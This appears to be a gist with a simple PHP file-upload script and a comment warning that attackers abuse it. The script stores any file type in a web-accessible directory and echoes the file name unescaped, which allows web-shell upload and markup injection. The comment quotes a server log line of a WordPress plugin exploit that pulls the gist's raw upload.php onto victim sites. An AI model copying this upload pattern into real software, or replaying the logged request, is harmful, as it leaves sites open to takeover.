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Simple file upload in php
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| <?php | |
| $message = ''; | |
| if(!empty($_FILES['uploaded_file'])) { | |
| $path = 'uploads/'; | |
| $path = $path . uniqid('u', true) . '-' . basename($_FILES['uploaded_file']['name']); | |
| if(move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $path)) { | |
| $message = 'The file ' . basename( $_FILES['uploaded_file']['name']) . ' has been uploaded'; | |
| } else { | |
| $message = 'There was an error uploading the file, please try again!'; | |
| $message .= $_FILES['uploaded_file']['error']; | |
| } | |
| } | |
| ?> | |
| <!DOCTYPE html> | |
| <html> | |
| <head> | |
| <title>Upload your files</title> | |
| </head> | |
| <body> | |
| <?php echo $message; ?> | |
| <form enctype="multipart/form-data" action="upload.php" method="POST"> | |
| <p>Upload your file</p> | |
| <input type="file" name="uploaded_file"></input><br /> | |
| <input type="submit" value="Upload"></input> | |
| </form> | |
| </body> | |
| </html> |
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Please use $path = 'PATH_TO_YOUR_UPLOAD_DIRECTORY/'; instead $path = 'uploads/'; for this gist!
It is because there are someone using your gists to upload hazardous scripts at wordpress sites.
Example of attack:
91.214.44.136 - - [27/Aug/2018:08:22:16 +0200] "GET /wp-content/plugins/wp-mobile-detector/resize.php?src=https://gist.githubusercontent.com/taterbase/2688850/raw/b9d214c9cbcf624e13c825d4de663e77bf38cc14/upload.php HTTP/1.1" 302 593 "-" "Mozilla/5.0 (Windows NT 6.1; rv:57.0) Gecko/20100101 Firefox/57.0"